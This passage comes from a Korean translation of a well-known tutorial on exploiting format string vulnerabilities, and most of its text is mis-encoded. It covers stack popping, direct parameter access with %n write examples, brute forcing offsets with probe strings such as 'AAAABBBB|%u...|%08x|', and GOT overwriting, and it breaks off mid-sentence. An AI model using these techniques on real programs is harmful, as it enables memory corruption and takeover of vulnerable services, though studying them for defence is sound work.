ÀÖ´Ù. * portal, ¡°Format String Exploitation Demystified¡±, http://www.security.is/ * Pascal Bouchareine, ¡°format string vulnerability¡±, http://www.hert.org/papers/format.html 4.2 Stack Popping ¸¸¾à Æ÷¸Ë ½ºÆ®¸µÀÌ ³Ê¹« ª¾Æ¼­ ½ºÅà ÆË ½ÃÄö½Ã¿¡ °ø±ÞÇÏ´Â °ÍÀÌ ºÒ°¡´ÉÇÏ´Ù¸é ¹®Á¦°¡ ¹ß»ýÇÒ ¼ö ÀÖ´Ù. À̰ÍÀº ´ç½ÅÀÇ Æ÷¸Ë ½ºÆ®¸µÀ¸·ÎÀÇ ½ÇÁ¦ °Å¸®¿Í Æ÷¸Ë ½ºÆ®¸µÀÇ Å©±â »çÀÌÀÇ °æÀïÀ̸ç, ±×°Í¿¡ ´ç½ÅÀº Àû¾îµµ ½ÇÁ¦ °Å¸®¿¡¼­ popÇØ¾ß ÇÑ´Ù. ±×·¡¼­ °¡´ÉÇÑ ÀûÀº ¹ÙÀÌÆ®·Î ½ºÅà Æ÷ÀÎÅ͸¦ Áõ°¡½Ãų È¿°úÀûÀÎ ¹æ¹ýÀÌ ¿ä±¸µÈ´Ù. ÇöÀç ¿ì¸®´Â ¿ø¸®¸¦ º¸¿©ÁÖ±â À§ÇØ ´ÜÁö ¡®%u' ½ÃÄö½Ã¸¦ »ç¿ëÇØ¿ÔÁö¸¸ ´õ ¸¹Àº È¿À²ÀûÀÎ ¹æ¹ýµéÀÌ ÀÖ´Ù. ¡¯%u' ½ÃÄö½Ã´Â 2 ¹ÙÀÌÆ® ±æÀÌÀ̸ç, 4¹ÙÀÌÆ®¸¦ popÇϴµ¥, À̰ÍÀº 1:2 ¹ÙÀÌÆ® ºñÀ²·Î ÁØ´Ù.(¿ì¸®´Â 2¹ÙÀÌÆ®¸¦ ¾ò±â À§ÇØ 1¹ÙÀÌÆ®¸¦ ÅõÀÚÇÑ´Ù.) ¡®%f' ÆÄ¶ó¹ÌÅ͸¦ »ç¿ëÇÏ¿© ¿ì¸®´Â 2¹ÙÀÌÆ®¸¸ ÅõÀÚÇÔÀ¸·Î½á ½ºÅÿ¡ 8¹ÙÀÌÆ®¸¦ ¹Ì¸® ȹµæÇÑ´Ù. ÇÏÁö¸¸ À̰ÍÀº Ä¿´Ù¶õ ´ÜÁ¡À» °¡Áö°í ÀÖ´Ù. ¿Ö³ÄÇÏ¸é ¸¸¾à ½ºÅÃÀ¸·ÎºÎÅÍ garbage°¡ ÇÃ·ÎÆÃ Æ÷ÀÎÅÍ ³Ñ¹ö·Î ÇÁ¸°Å͵ȴٸé ÇÁ·Î¼¼½º¸¦ ÁߴܽÃų 0¿¡ ÀÇÇÑ ºÐÇÒ¿¡ ÀÖÀ» ¼ö ÀÖ´Ù. À̰ÍÀ» ÇÇÇϱâ À§ÇØ ¿ì¸®´Â Ưº°ÇÑ Æ÷¸Ë ¼ö½Ä¾î(qualifier)¸¦ »ç¿ëÇÒ ¼ö ÀÖÀ¸¸ç, ±×°ÍÀº float numberÀÇ Á¤¼ö ºÎºÐÀ» ÇÁ¸°ÅÍÇÒ °ÍÀÌ´Ù. ¡¯%.f'´Â ¹öÆÛ¿¡ 3 ¹ÙÀÌÆ®¸¸À» »ç¿ëÇÏ¿© 8 ¹ÙÀÌÆ®·Î ½ºÅà À§ÂÊÀ¸·Î ¿À¸¦ °ÍÀÌ´Ù. BSD °è¿­°ú IRIX ÇÏ¿¡¼­´Â ¿ì¸®ÀÇ ¸ñÀûÀ» À§ÇØ ¡®*¡¯ -qualifier¸¦ ÀÌ¿ëÇÏ´Â °ÍÀÌ °¡´ÉÇÏ´Ù. ±×°ÍÀº Æ÷¸Ë ÆÄ¶ó¹ÌÅͰ¡ ¸¸µé¾î³¾ Ãâ·Â¹°ÀÇ ±æÀ̸¦ ¿ªµ¿ÀûÀ¸·Î °ø±ÞÇϱâ À§ÇØ »ç¿ëµÈ´Ù. ¡®%10d'°¡ 10°³ÀÇ ¹®ÀÚ¸¦ ÇÁ¸°ÅÍÇÏ´Â ¹Ý¸é ¡¯%*d'´Â Ãâ·Â¹°ÀÇ ±æÀ̸¦ ¿ªµ¿ÀûÀ¸·Î °Ë»öÇØ³½´Ù. Áï, ½ºÅûóÀÇ ´ÙÀ½ Æ÷¸Ë ÆÄ¶ó¹ÌÅÍ´Â ±×°ÍÀ» Á¦°øÇÑ´Ù. À§¿¡¼­ ¾ð±ÞÇÑ LibCÀÇ Æ÷¸Ë ÆÄ¶ó¹ÌÅʹ ŸÀÔ ¡®%*******d'ÀÇ ÆÄ¶ó¹ÌÅ͸¦ Çã¿ëÇϱ⠶§¹®¿¡ ¿ì¸®´Â ¡¯*¡® ´ç 4¹ÙÀÌÆ®¸¦ ´ç±æ ¼ö ÀÖÀ¸¸ç, ±×°ÍÀº 4:1 ºñÀ²°ú °ü·Ã ÀÖ´Ù. À̰ÍÀº ¶Ç ´Ù¸¥ ¹®Á¦¸¦ ¾ß±âÇϴµ¥, ¿ì¸®´Â ´ëºÎºÐÀÇ °æ¿ì Ãâ·Â¹°ÀÇ ±æÀ̸¦ ¿¹»óÇÒ ¼ö ¾ø´Ù´Â °ÍÀÌ´Ù. ¿Ö³ÄÇÏ¸é ±×°ÍÀº ½ºÅÃÀÇ ³»¿ëÀ¸·ÎºÎÅÍ ¿ªµ¿ÀûÀ¸·Î ¼³Á¤µÇ±â ¶§¹®ÀÌ´Ù. 4.3 Á÷Á¢ÀûÀÎ ÆÄ¶ó¹ÌÅÍ Á¢±Ù stack popping ¹æ¹ýµéÀ» °³¼±ÇÏ´Â °Í¿¡ µ¡ºÙ¿©, Æ÷¸Ë ½ºÆ®¸µ ³»·ÎºÎÅÍ ½ºÅà ÆÄ¶ó¹ÌÅ͸¦ Á÷Á¢ÀûÀ¸·Î ¾îµå·¹½ÌÇÏ´Â ¹æ¹ýÀÎ ¡°Á÷Á¢Àû ÆÄ¶ó¹ÌÅÍ Á¢±Ù¡±À̶ó°í ¾Ë·ÁÁø ¾ÆÁÖ °£´ÜÇÑ ¹æ¹ýÀÌ ÀÖ´Ù. ÇöÀç »ç¿ëµÇ°í ÀÖ´Â °ÅÀÇ ¸ðµç C ¶óÀ̺귯¸®´Â ÀÌ ±â´ÉÀ» Áö¿øÇÑ´Ù. ÇÏÁö¸¸ ¸ðµç °ÍÀÌ Æ÷¸Ë ½ºÆ®¸µ °ø°Ý¿¡ ÀÌ ¹æ¹ýÀ» Àû¿ëÇÒ ¼ö ÀÖ´Â °ÍÀº ¾Æ´Ï´Ù. Á÷Á¢ÀûÀÎ ÆÄ¶ó¹ÌÅÍ Á¢±ÙÀº ¡®$¡¯ qualifier¿¡ ÀÇÇØ ÅëÁ¦µÈ´Ù. printf ("%6$d\n", 6, 5, 4, 3, 2, 1); À̰ÍÀº ¡®1¡¯À» ÇÁ¸°ÅÍÇÑ´Ù.¿Ö³ÄÇÏ¸é ¡®6$¡¯´Â ½ºÅÃÀÇ 6¹øÂ° ÆÄ¶ó¹ÌÅ͸¦ ¸í¹éÈ÷ ¾îµå·¹½ÌÇϱ⠶§¹®ÀÌ´Ù. ÀÌ ¹æ¹ýÀ» »ç¿ëÇϸé Àüü ½ºÅà pop ½ÃÄö½Ã°¡ »ý·«µÉ ¼ö ÀÖ´Ù. char foo[4]; printf ("%1$16u%2$n" "%1$16u%3$n" "%1$32u%4$n" "%1$64u%5$n", 1, (int *) &foo[0], (int *) &foo[1], (int *) &foo[2], (int *) &foo[3]); À̰ÍÀº foo¿¡ ¡°\x10\x20\x40\x80¡±À» ¸¸µé °ÍÀÌ´Ù. ÀÌ Á÷Á¢ÀûÀÎ Á¢±ÙÀº IRIX¸¦ Á¦¿ÜÇÑ BSD °è¿­¿¡ ù ¹øÂ° 8°³ÀÇ ÆÄ¶ó¹ÌÅÍ¿¡¸¸ ±¹ÇѵȴÙ. ¼Ö¶ó¸®½º C ¶óÀ̺귯¸®´Â ±×°ÍÀ» ù 30°³ÀÇ ÆÄ¶ó¹ÌÅÍ¿¡ Á¦ÇѽÃŲ´Ù. ¸¸¾à ½ºÅà ÆÄ¶ó¹ÌÅÍ¿¡ Á¢±ÙÇϱâ À§ÇÑ Àǵµ·Î ÇöÀçÀÇ À§Ä¡¿¡¼­ °Å´ëÇÑ °ªÀ̳ª À½ÀÇ °ªÀ» ¼±ÅÃÇÑ´Ù¸é ¿¹»óµÈ °á°ú¸¦ ³»Áö´Â ¸øÇÏ°í ´Ù¿îµÉ °ÍÀÌ´Ù. ºñ·Ï ÀÌ ¹æ¹ýÀÌ °ø°ÝÀ» ¸¹ÀÌ ´Ü¼øÇÏ°Ô ÇÏÁö¸¸ °¡´ÉÇÏ´Ù¸é stackpop Å×Å©´ÐÀ» »ç¿ëÇØ¾ß ÇÑ´Ù. ¿Ö³ÄÇÏ¸é »ç¿ëÇÒ ÀͽºÇ÷ÎÀÕÀ» ´õ Æ÷ÆÃÇϱ⠽±°Ô ¸¸µé±â ¶§¹®ÀÌ´Ù. ¸¸¾à °ø°ÝÇϰíÀÚ ¿øÇÏ´Â ¹ö±×°¡ ÀÌ ¹æ¹ýÀ» Çã¿ëÇÏ´Â Ç÷§Æû¿¡¸¸ Á¸ÀçÇÑ´Ù¸é ¹°·Ð ÀÌ ¹æ¹ýÀ» »ç¿ëÇØ¾ß ÇÑ´Ù. ±× ¿¹°¡ IRIX ÅÚ³Ý µ¥¸ó ÀͽºÇ÷ÎÀÕÀÌ´Ù. ****************************************************************************************** ÀÌ ¹®¼­´Â team-tesoÀÇ scut°¡ ÀÛ¼ºÇÑ ¡°Exploiting Format String Vulnerabilities¡±À» ¹ø¿ª ¹× ÆíÁýÀ» ÅëÇØ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô ÇÒ ¼ö ÀÖÀ¸¸ç, Ãâó¸¦ ¹Ýµå½Ã ¹àÇôÁÖ±æ ¹Ù¶õ´Ù. ¿ÀŸ ¹× ¿À·ù°¡ ÀÖÀ¸¸é ÁöÀûÇØÁֽñæ... ¿ø¹®Àº http://www.wowsecurity.net/source/formatstring.pdf¸¦ Âü°íÇϽñæ. Á¦¸ñ: Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ °ø°Ý(¹öÀü: 1.2) ¹ø¿ª ¹× ÆíÁý: vangelis(http://www.wowhacker.org) ****************************************************************************************** 5. ¹«ÀÛÀ§ ´ëÀÔ¹ý ¹öÆÛ ¿À¹öÇÃ·Î¿ì ¶Ç´Â Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡°ú °°Àº Ãë¾àÁ¡À» °ø°ÝÇÒ ¶§ Á¾Á¾ ½ÇÆÐÇÏ°Ô µÇ´Âµ¥, À̰ÍÀº Á¤È®ÇÑ offsetÀ» ¾ËÁö ¸øÇϱ⠶§¹®ÀÌ´Ù. ±âº»ÀûÀ¸·Î ¿Ã¹Ù¸¥ offsetÀ» ã¾Æ³»´Â °ÍÀº ¾îµð¿¡ ¹«¾ùÀ» ¾µ °ÍÀΰ¡¸¦ ÀǹÌÇÑ´Ù. ´Ü¼øÇÑ Ãë¾àÁ¡ÀÇ °æ¿ì Á¤È®ÇÑ offsetÀ» ÃßÃøÇϰųª ¹«ÀÛÀ§ ´ëÀÔ¹ýÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù. ÇÏÁö¸¸ ´Ù¾çÇÑ offsetÀÌ ÇÊ¿äÇÒ °æ¿ì ¹«ÀÛÀ§ ´ëÀÔ¹ýÀ» »ç¿ëÇÏ´Â °ÍÀº °ÅÀÇ ºÒ°¡´ÉÇÏ´Ù. Æ÷¸Ë ½ºÆ®¸µÀÇ °æ¿ì ÀÌ ¹®Á¦´Â ´ÜÁö ¿ì¸®¿¡°Ô ´Ü Çѹø¸¸ÀÇ ½Ãµµ¸¦ Á¦°øÇÒ µ¥¸óÀ̳ª ¾î¶² ÇÁ·Î±×·¥À» °ø°ÝÇϰí ÀÖ´Â °Íó·³ º¸ÀÏ ¼ö ÀÖ´Ù. ¿ì¸®°¡ ¿©·¯ ¹øÀÇ ½Ãµµ¸¦ Çϰųª Æ÷¸Ë ½ºÆ®¸µÀÇ ÀÀ´äÀ» º¼ ¼ö ÀÖÀÚ¸¶ÀÚ ¸ðµç ÇÊ¿äÇÑ offsetÀ» ã´Â °ÍÀÌ °¡´ÉÇÏ´Ù. À̰ÍÀº ¿ì¸®°¡ Ÿ±ê ÇÁ·Î¼¼½º¸¦ ¿ÏÀüÈ÷ Àå¾ÇÇϱâ Àü¿¡ Ÿ±ê ÇÁ·Î¼¼½º¿¡ ´ëÇØ Á¦ÇÑµÈ ÅëÁ¦±ÇÀ» °¡Áö°í Àֱ⠶§¹®¿¡ °¡´ÉÇÏ´Ù. Áï, Æ÷¸Ë ½ºÆ®¸µÀº ¿ì¸®·Î ÇÏ¿©±Ý ¸Þ¸ð¸®¸¦ ¿³º¸°Ô ÇÏ´Â °ÍÀ» °¡´ÉÇÏ°Ô ÇÔÀ¸·Î½á ¹«¾ùÀ» ÇØ¾ßÇÒÁö ¿ø°Ý ÇÁ·Î¼¼½º¸¦ ÀÌ¹Ì ´ÙÀÌ·ºÆ®ÇÑ´Ù. ¿©±â¼­ ¼³¸íµÇ¾î ÀÖ´Â µÎ °¡Áö ¹æ¹ýÀÌ ¾ÆÁÖ ´Ù¸£±â ¶§¹®¿¡ °¢°¢ µû·Î ¼³¸íµÇ¾î ÀÖ´Ù. 5.1 ÀÀ´ä ±â¹ÝÀÇ ¹«ÀÛÀ§ ´ëÀÔ¹ý TESO wu-ftpd 2.6.0 exploit: 7350wu,ÇÁ¸°ÅÍ µÈ Æ÷¸Ë ÀÀ´äÀ» º¸´Â °ÍÀ» ÀÌ¿ëÇÏ´Â °ÍÀº wu-ftpd 2.6.0¿ë Æ÷¸Ë ½ºÆ®¸µ ÀͽºÇ÷ÎÀÕ¿¡¼­ óÀ½ º¼ ¼ö ÀÖ¾ú´Ù. ¿©±â¼­´Â °Å¸®¸¦ ¾Ë¾Æ³»±â À§ÇØ ÀÀ´äÀ» »ç¿ëÇß´Ù. Smiler¿Í ³ª´Â µÎ °³ÀÇ ´Ù¸¥ ÁÖ¼Ò ¡®retaddr¡¯(return address)¿Í ¡®retloc¡¯(return address location)À» ¾Ë¾Æ³»±â À§ÇØ ÀÌ Å×Å©´ÐÀ» °³¹ßÇßÀ¸¸ç, ±×°ÍÀ» offset°ú µ¶¸³µÈ wu-ftpd ÀͽºÇ÷ÎÀÕÀ» ¸¸µé±â À§ÇØ »ç¿ëÇß´Ù. (TESO wu-ftpd 2.6.0 exploit: 7350wu, http://www.team-teso.net/releases.php) ±× °Å¸®¸¦ ¹«ÀÛÀ§·Î ¾Ë¾Æ³»±â À§ÇØ ´ÙÀ½°ú °°Àº Æ÷¸Ë ½ºÆ®¸µÀ» »ç¿ëÇØ¾ß ÇÑ´Ù. "AAAABBBB|stackpop|%08x|" stackpopÀº ¿ì¸®°¡ ÃßÃøÇϰíÀÚ ÇÏ´Â °Å¸®¿¡ ÀÇÁ¸ÇÑ´Ù. ±× °Å¸®´Â ¸Å ½Ãµµ ¶§¸¶´Ù Áõ°¡ÇÑ´Ù. while (distance > 0) { strcat (stackpop, "%u"); distance -= 4; } ¸¸¾à ¿ì¸®°¡ 32¹ÙÀÌÆ®ÀÇ °Å¸®¸¦ ¾Ë¾Æ³½´Ù¸é Æ÷¸Ë ½ºÆ®¸µÀº ´ÙÀ½°ú °°´Ù. "AAAABBBB|%u%u%u%u%u%u%u%u|%08x|" ¿ì¸®´Â ½ºÅÃ((8 * ¡°%u¡±)À¸·ÎºÎÅÍ 32¹ÙÀÌÆ®¸¦ popÇÏ°í ½ºÅà 16Áø¼ö·ÎºÎÅÍ 32¹øÂ° ¹ÙÀÌÆ®¿¡ 4¹ÙÀÌÆ®¸¦ ÇÁ¸°ÅÍÇÑ´Ù. ÀÌ»óÀûÀÎ °æ¿ì¿¡ Ãâ·ÂÀº ´ÙÀ½°ú °°´Ù. AAAABBBB|983217938177639561760134608728913021|41414141| ¡®41414141¡¯Àº ¡®AAAA'¸¦ 16Áø¼ö·Î ³ªÅ¸³½ °ÍÀÌ´Ù. ¿ì¸®´Â 32 ¹ÙÀÌÆ®ÀÇ Á¤È®ÇÑ °Å¸®¸¦ ¸ÂÃá °ÍÀÌ´Ù. ¸¸¾à °Å¸®¸¦ Áõ°¡½ÃÅ´À¸·Î½á ÀÌ ÆÐÅÏ¿¡ µµ´ÞÇÒ ¼ö ¾ø´Ù¸é µÎ °¡Áö ÀÌÀ¯ ¶§¹®ÀÌ´Ù. Çϳª´Â °Å¸®°¡ ³Ê¹« Ä¿ µµ´ÞÇÒ ¼ö ¾ø´Â °æ¿ìÀε¥, ¿¹¸¦ µé¸é, ¸¸¾à Æ÷¸Ë ½ºÆ®¸µÀÌ heap¿¡ À§Ä¡Çϰųª ¶Ç´Â alignment°¡ 4¹ÙÀÌÆ® ¹Ù¿î´õ¸® »ó¿¡ ÀÖÁö ¾ÊÀ» °æ¿ì´Ù. ÈÄÀÚÀÇ °æ¿ì dfl´Â ´ÜÁö 1~3 ´õ¹Ì ¹ÙÀÌÆ®·Î Æ÷¸Ë ½ºÆ®¸µÀ» ÇÁ¸®Ææ´õ(prepend)ÇØ¾ß ÇÑ´Ù. ±×·¯¸é ¿ì¸®´Â ±× ½ºÆ®¸µ À§Ä¡¸¦ À̵¿Çϰí, ±×·¡¼­ ÆÐÅÏ ¡¯42414141¡®ÀÌ Á¤È®ÇÑ ÆÐÅÏ ¡¯41414141¡®¿¡ ¸Â°Ô µÈ´Ù. ÀÏ´Ü alignment¿Í °Å¸®¸¦ ¾Ë°ÔµÇ¸é Æ÷¸Ë ½ºÆ®¸µ ¹öÆÛ ÁÖ¼Ò¿¡ ´ëÇØ ¹«ÀÛÀ§ ´ëÀÔ¹ýÀ» ½ÃÀÛÇÒ ¼ö ÀÖ´Ù. ±×·¯¹Ç·Î ´ÙÀ½°ú °°Àº Æ÷¸Ë ½ºÆ®¸µÀ» »ç¿ëÇÑ´Ù. addr|stackpop|______________________________%%|%s| Æ÷¸Ë ½ºÆ®¸µÀº ¿ÞÂÊ¿¡¼­ºÎÅÍ ¿À¸¥ÂÊÀ¸·Î 󸮵ǰí, ¡®addr'°ú ¡¯___¡® ½ÃÄö½Ã´Â ¾î¶² ÇØµµ ³¢Ä¡Áö ¾Ê´Â´Ù. ¡¯stackpop'Àº ¡®addr' ÁÖ¼Ò¸¦ °¡¸®Å³ ¶§±îÁö ½ºÅà Æ÷ÀÎÅ͸¦ À§ÂÊÀ¸·Î À̵¿½ÃŲ´Ù. ¸¶Áö¸·À¸·Î ¡¯%s'´Â ¡®addr'·ÎºÎÅÍ ASCIIZ ½ºÆ®¸µÀ» ÇÁ¸°ÅÍÇÑ´Ù. ÀÌ»óÀûÀÎ °æ¿ì ¡®addr'Àº Æ÷¸Ë ½ºÆ®¸µÀÇ ¡¯___¡® ½ÃÄý½Ã¸¦ °¡¸®Å²´Ù. ÀÌ °æ¿ì¿¡ Ãâ·ÂÀº ´ÙÀ½°ú °°´Ù. garbage|___________________________%|______%%|%s|| ¿©±â¼­ ¡®garbage'°¡ ¡¯addr'°ú ¡®stackpop' Ãâ·ÂÀ¸·ÎºÎÅÍ ±¸¼ºµÈ´Ù. ±×·± ´ÙÀ½, ¡¯%%¡®°¡ Æ÷¸Ë ÇÁ·Î¼¼½Ì¿¡ ÀÇÇØ ¡¯%¡®·Î ÀüȯµÇ´Â °Íó·³, ó¸®µÈ ¡¯___%%¡® ½ºÆ®¸µÀº ¡¯___%¡®À¸·Î ÀüȯµÈ´Ù. ±×¸®°í ³ª¼­ ¿ì¸®°¡ Á¦°øÇÑ Æ÷¸Ë ½ºÆ®¸µÀÇ ¡¯%s'°¡ 󸮵Ǹ鼭 ½ºÆ®¸µ ¡®______%%|%s|¡¯µµ »ðÀԵȴÙ. À̰ÍÀÌ ¡®addr'¿¡ ´ëÇØ ´Ù¸¥ °ªÀ» ¿ì¸®°¡ ½ÃµµÇßÀ» ¶§ º¯ÇÏ´Â À¯ÀÏÇÑ °ÍÀ̶ó´Â °ÍÀ» ÁÖ¸ñÇÏÀÚ. ÀÌ»óÀûÀÎ °æ¿ì¿¡ ¿ì¸®´Â ¹öÆÛ¸¦ Á÷Á¢ÀûÀ¸·Î °¡¸®Å°´Â ¡¯addr'À» »ç¿ëÇß´Ù. ¾Ë´Ù½ÃÇÇ ¡®%%¡¯¸¦ »ìÆìº¸´Â °ÍÀ» ÅëÇØ ¿ì¸®´Â ¿ì¸®ÀÇ Æ÷¸Ë ½ºÆ®¸µ(µÎ °³ÀÇ ¡®%¡¯ ¹®ÀÚ¸¦ °¡Áö°í ÀÖÀ½)À» °¡¸®Å°´Â ÁÖ¼Òµé°ú ¿ì¿¬È÷ Ÿ±ê ¹öÆÛ¸¦ °¡¸®Å°´Â ÁÖ¼Ò(Æ÷¸Ë ÇÔ¼ö¿¡ ÀÇÇØ ÀüȯµÇ¾ú±â ¶§¹®¿¡ ´ÜÁö ÇϳªÀÇ ¡®%¡¯¸¦ °¡Áö°í ÀÖÀ½) »çÀ̸¦ ±¸ºÐÇÒ ¼ö ÀÖ´Ù. ¸¸¾à ¡®addr'ÀÌ ±× Ÿ±ê ¹öÆÛ¸¦ ÃÆ´Ù¸é Ãâ·ÂÀº ´ÙÀ½°ú °°´Ù. garbage|___________________________%|______%|| ¿©±â¼­´Â ´ÜÁö ÇϳªÀÇ ¡®%¡¯¸¸ÀÌ º¸ÀδÙ. À̰ÍÀº ¿ì¸®·Î ÇÏ¿©±Ý Æ÷¸Ë ½ºÆ®¸µ ¹öÆÛ°¡ heap ±× ÀÚü¿¡ ÀÖ´Â »óȲ¿¡¼­ À¯¿ëÇÒ ¼ö Àִ Ÿ±ê ¹öÆÛ ÁÖ¼Ò¸¦ Á¤È®ÇÏ°Ô ¿¹»óÇÏ´Â °ÍÀ» Çã¿ëÇÑ´Ù. ¿ì¸®°¡ ¡®%s'°¡ ¿ì¸®ÀÇ Æ÷¸Ë ½ºÆ®¸µ ½ÃÀÛÀÇ ¾îµð¿¡ À§Ä¡ÇØÀÖ´ÂÁö ¾Ë°í ÀÖ°í, ¿ì¸®ÀÇ ¹öÆÛ¸¦ °¡¸®Å°´Â ÁÖ¼Ò¸¦ °¡Áö°í Àֱ⠶§¹®¿¡ ¿ì¸®´Â ±× ÁÖ¼Ò¸¦ ´Ù½Ã À§Ä¡½Ãų ¼ö ÀÖ°í, ±×·¡¼­ ¿ì¸®´Â ¾î¶² ÁÖ¼Ò¿¡¼­ ¿ì¸®ÀÇ Æ÷¸Ë ½ºÆ®¸µÀÌ ½ÃÀÛÇÏ´ÂÁö Á¤È®ÇÏ°Ô ¾Ë ¼ö ÀÖ´Ù. º¸Åë Æ÷¸Ë ½ºÆ®¸µ ¾È¿¡ ½©Äڵ带 ³Ö±â¸¦ ¿øÇϱ⠶§¹®¿¡ Æ÷¸Ë ½ºÆ®¸µ ÁÖ¼Ò¿¡ °üÇØ retaddr¸¦ Á¤È®ÇÏ°Ô °è»êÇÒ ¼ö ÀÖ´Ù. 5.2 ¸Í¸ñÀûÀÎ ¹«ÀÛÀ§ ´ëÀÔ¹ý ¸Í¸ñÀûÀÎ ¹«ÀÛÀ§ ´ëÀÔ¹ýÀº ÀÀ´ä ±â¹ÝÀÇ ¹«ÀÛÀ§ ´ëÀÔ¹ýó·³ Á÷Á¢ÀûÀ¸·Î Àü¹æ¿¡ ³ª¼­´Â °ÍÀº ¾Æ´Ï´Ù. ±âº» ¾ÆÀ̵ð¾î´Â ¿ì¸®°¡ ¿ø°Ý ÄÄÇ»ÅͰ¡ Æ÷¸Ë ½ºÆ®¸µÀ» ó¸®Çϴµ¥ °É¸®´Â ½Ã°£À» ÃøÁ¤ÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ¡®%.9999999u¡¯¿Í °°Àº ½ºÆ®¸µÀº ´Ü¼øÇÑ ¡®%u'º¸´Ù ½Ã°£ÀÌ ´õ ¿À·¡ °É¸°´Ù. ¶ÇÇÑ ¿ì¸®´Â ¸ÊÇÎÀÌ µÇÁö ¾ÊÀº ÁÖ¼Ò¿¡ ¡¯%n'À» »ç¿ëÇÔÀ¸·Î½á segmentation faults°¡ ³¯ ¼öµµ ÀÖ´Ù. **************************************************************************************** ÀÌ ¹®¼­´Â team-tesoÀÇ scut°¡ ÀÛ¼ºÇÑ ¡°Exploiting Format String Vulnerabilities¡±À» ¹ø¿ª ¹× ÆíÁýÀ» ÅëÇØ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô ÇÒ ¼ö ÀÖÀ¸¸ç, Ãâó¸¦ ¹Ýµå½Ã ¹àÇôÁÖ±æ ¹Ù¶õ´Ù. ¿ÀŸ ¹× ¿À·ù°¡ ÀÖÀ¸¸é ÁöÀûÇØÁֽñæ... ¿ø¹®Àº http://www.wowsecurity.net/source/formatstring.pdf¸¦ Âü°íÇϽñæ. Á¦¸ñ: Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ °ø°Ý(¹öÀü: 1.2) ¹ø¿ª ¹× ÆíÁý: vangelis(http://www.wowhacker.org) ****************************************************************************************** 6. Ưº°ÇÑ °æ¿ìµé ´ÙÀ½Àº ¸ðµç offsetÀ» ¾Ë Çʿ䵵 ¾øÀ¸¸ç, ´õ °£´ÜÈ÷ Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡À» °ø°ÝÇÒ ¼ö ÀÖ´Â ÀϹÝÀûÀÎ Á¢±Ù ¹æ¹ý ¸î °¡ÁöÀÌ´Ù. À̰͵éÀº ¾î¶² ƯÁ¤ÇÑ »óȲÀ» ÀÌ¿ëÇÏ´Â °ÍÀÌ´Ù. 6.1 ´ëü Ÿ±ê ½ºÅà ±â¹ÝÀÇ ¹öÆÛ ¿À¹öÇ÷ο쿡¼­ ¸¹Àº »ç¶÷µéÀÌ ½ºÅÿ¡ ÀúÀåµÈ ¸®ÅÏ ÁÖ¼Ò¸¦ µ¤¾î¾²´Â °ÍÀÌ ÇÁ·Î¼¼½º¿¡ ´ëÇÑ ÅëÁ¦±ÇÀ» Àå¾ÇÇÏ´Â À¯ÀÏÇÑ ¹æ¹ýÀ̶ó°í »ý°¢ÇÑ´Ù. ÇÏÁö¸¸ ¸¸¾à ¿ì¸®°¡ ¹öÆÛ°¡ ¾îµð¿¡ ÀÖ´ÂÁö Á¤È®ÇÏ°Ô ¾ËÁö ¸øÇÏ´Â Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡À» °ø°ÝÇÑ´Ù¸é ¿ì¸®°¡ µ¤¾î¾µ ¼ö ÀÖ´Â ´ëü¹°ÀÌ ÀÖ´Ù. ÀϹÝÀûÀÎ ½ºÅà ±â¹ÝÀÇ ¹öÆÛ ¿À¹öÇ÷οì´Â ´ÜÁö ¸®ÅÏ ÁÖ¼Ò¸¸À» µ¤¾î¾²´Â °ÍÀ» Çã¿ëÇÑ´Ù. ¿Ö³ÄÇÏ¸é ±×°ÍÀÌ ½ºÅÿ¡ ÀúÀåµÇ¾î Àֱ⠶§¹®ÀÌ´Ù. ÇÏÁö¸¸ Æ÷¸Ë ÇÔ¼öÀÇ °æ¿ì ¿ì¸®´Â Àüü ¾µ ¼ö ÀÖ´Â ÇÁ·Î¼¼½º °ø°£À» º¯°æÇϵµ·Ï Çϸ鼭 ¸Þ¸ð¸®ÀÇ ¾î´À °÷¿¡µµ ¾µ ¼ö ÀÖ´Ù. ±×·¯¹Ç·Î °ø°ÝÇÑ ÇÁ·Î¼¼½º¿¡ ´ëÇØ ºÎºÐÀû ¶Ç´Â ¿ÏÀüÇÑ ÅëÁ¦±ÇÀ» Àå¾ÇÇÏ´Â ´Ù¸¥ ¹æ¹ýÀ» »ìÆìº¸´Â °ÍÀ» Èï¹Ì·Î¿î °ÍÀÌ´Ù. ¾î¶² »óȲ¿¡¼­´Â À̰ÍÀÌ ´õ ½¬¿î °ø°Ý ¹æ¹ýÀÌ µÉ ¼ö ÀÖÀ¸¸ç, ¾î¶² º¸È£ ÀåÄ¡¸¦ ¿ìȸÇϴµ¥µµ »ç¿ëµÉ ¼ö ÀÖ´Ù. 6.1.1 GOT µ¤¾î¾²±â ELF ¹ÙÀ̳ʸ®ÀÇ ÇÁ·Î¼¼½º °ø°£Àº GOT(Global Offset Table)À̶ó°í ºÒ¸®´Â Ưº°ÇÑ ¼½¼ÇÀ» Æ÷ÇÔÇϰí ÀÖ´Ù. ÀÌ ÇÁ·Î±×·¥¿¡ ÀÇÇØ¼­ »ç¿ëµÇ´Â ¸ðµç ¶óÀ̺귯¸® ÇÔ¼ö´Â ½ÇÁ¦ ÇÔ¼ö°¡ À§Ä¡ÇÑ ÁÖ¼Ò¸¦ Æ÷ÇÔÇϰí ÀÖ´Â Ç׸ñÀ» °¡Áö°í ÀÖ´Ù. À̰ÍÀº ÇϵåÄÚµùµÈ ÁÖ¼Ò¸¦ »ç¿ëÇÏ´Â °Í ´ë½Å¿¡ ÇÁ·Î¼¼½º ¸Þ¸ð¸® ³»¿¡ ¶óÀ̺귯¸®¸¦ ½±°Ô ´Ù½Ã ·ÎÄÉÀ̼ÇÇÏ´Â °ÍÀ» Çã¿ëÇÔÀ¸·Î½á ÀÌ·ç¾îÁø´Ù. ÇÁ·Î±×·¥ÀÌ ±× ÇÔ¼ö¸¦ óÀ½À¸·Î »ç¿ëÇϱâ Àü¿¡ ¿£Æ®¸®´Â rtl(run-time-linker)ÀÇ ÁÖ¼Ò¸¦ Æ÷ÇÔÇϰí 